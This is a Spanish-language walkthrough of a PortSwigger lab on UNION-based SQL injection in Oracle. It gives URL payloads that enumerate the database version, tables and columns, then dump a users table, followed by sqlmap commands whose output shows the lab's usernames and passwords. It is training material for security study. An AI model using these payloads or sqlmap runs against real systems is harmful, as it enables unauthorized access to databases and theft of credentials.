SQL injection attack, listing the database contents on Oracle
Laboratorio de Portswigger sobre SQLI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que hay que usar un ataque UNION para recuperar datos de otras tablas. La aplicación tiene una función de inicio de sesión, y la base de datos contiene una tabla que almacena nombres de usuario y contraseñas. Determinamos el nombre de esta tabla y las columnas que contiene, luego recuperamos el contenido de la tabla para obtener el nombre de usuario y la contraseña de todos los usuarios
Guía de SQLI
Antes de completar este laboratorio es recomendable leerse esta guía de SQLI https://justice-reaper.github.io/posts/SQLI-Guide/
Resolución
Al acceder a la web nos sale esto
Si hacemos click en alguno de los filtros, nos filtrará los artículos por esta categoría
Capturamos la petición con Burpsuite y añadimos una comilla simple '
Si enviamos esta petición nos devolverá un Internal Server Error, lo cual quiere decir que estamos interfiriendo con la consulta SQL que se está produciendo
Si usamos este payload mediante el cual añadimos una comparación que siempre es verdad como 1=1, ignoramos el resto de la consulta SQL con -- - y enviamos la petición nuevamente no obtenemos ningún fallo, lo que quiere decir que la inyección SQL ha sido exitosa
1
/filter?category=Lifestyle'+or+1=1--+-+
Usando order by podemos saber el número de columnas que tiene la tabla, empleando este payload el resultado es un 200 OK
1
/filter?category=Lifestyle'+order+by+2--+-+
Sin embargo, si empleamos este otro payload donde hacemos order by 3, nos devuelve un Internal Server Error, esto se debe a que al no existir tres columnas nos arroja un fallo
1
/filter?category=Lifestyle'+order+by+3--+-+
Una vez sabemos el número de columnas, usando union select vamos a obtener la información, en este caso, usamos from dual debido a que estamos ante una base de datos Oracle
1
/filter?category=Lifestyle'+union+select+null,null+from+dual--+-+
Confirmamos la base de datos en uso y también el su versión
1
/filter?category=Lifestyle'+union+select+null,banner+from+v$version--+-+
Listamos el nombre de todos los propietarios
1
/filter?category=Lifestyle'+union+select+null,owner+from+all_tables--+-+
Listamos el nombre de la base de datos en uso
1
/filter?category=Lifestyle'+union+select+null,global_name+from+global_name--+-+
Listamos las tablas cuyo propietario es PETER
1
/filter?category=Lifestyle'+union+select+null,table_name+from+all_tables+where+owner='PETER'--+-+
Listamos las columnas de la tabla USERS_NWMYAE
1
/filter?category=Lifestyle'+union+select+null,column_name+from+all_tab_columns+where+table_name='USERS_NWMYAE'--+-+
Obtenemos el contenido de las columnas PASSWORD_NDAIAQ y USERNAME_SDYBVL
1
/filter?category=Lifestyle'+union+select+PASSWORD_NDAIAQ,USERNAME_SDYBVL+from+USERS_NWMYAE--+-+
Podríamos obtener también la contraseña del usuario administrator usando sqlmap, lo primero es listar las bases de datos
1
2
3
4
5
6
7
8
9
# sqlmap -u 'https://0abf0062035a842480f72105002600f5.web-security-academy.net/filter?category=Pets*' --risk=3 --level=5 --random-agent --dbs --batch --threads 2
available databases [7]:
[*] APEX_040000
[*] CTXSYS
[*] MDSYS
[*] PETER
[*] SYS
[*] SYSTEM
[*] XDB
Listamos las tablas de la base de datos public
1
2
3
4
5
6
7
# sqlmap -u 'https://0abf0062035a842480f72105002600f5.web-security-academy.net/filter?category=Pets*' --risk=3 --level=5 --random-agent -D PETER --tables --batch --threads 2
Database: PETER
[2 tables]
+--------------+
| PRODUCTS |
| USERS_GRCOPU |
+--------------+
Listamos las columnas de la tabla users
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u 'https://0abf0062035a842480f72105002600f5.web-security-academy.net/filter?category=Pets*' --risk=3 --level=5 --random-agent -D PETER -T USERS_GRCOPU --columns --batch --threads 2
Database: PETER
Table: USERS_GRCOPU
[3 columns]
+-----------------+----------+
| Column | Type |
+-----------------+----------+
| EMAIL | VARCHAR2 |
| PASSWORD_EJHRJL | VARCHAR2 |
| USERNAME_RZIDBZ | VARCHAR2 |
+-----------------+----------+
Dumpeamos el contenido de password y username de la tabla users
1
2
3
4
5
6
7
8
9
10
11
# qlmap -u 'https://0abf0062035a842480f72105002600f5.web-security-academy.net/filter?category=Pets*' --risk=3 --level=5 --random-agent -D PETER -T USERS_GRCOPU -C PASSWORD_EJHRJL,USERNAME_RZIDBZ --dump --batch --threads 2
Database: PETER
Table: USERS_GRCOPU
[3 entries]
+----------------------+-----------------+
| PASSWORD_EJHRJL | USERNAME_RZIDBZ |
+----------------------+-----------------+
| mgbyibei3vhwt891natb | administrator |
| l4yb7rhby75261r7u622 | wiener |
| uhnlgaqk499jfc1lu576 | carlos |
+----------------------+-----------------+
Una vez obtenida la contraseña del usuario administrator podemos loguearnos












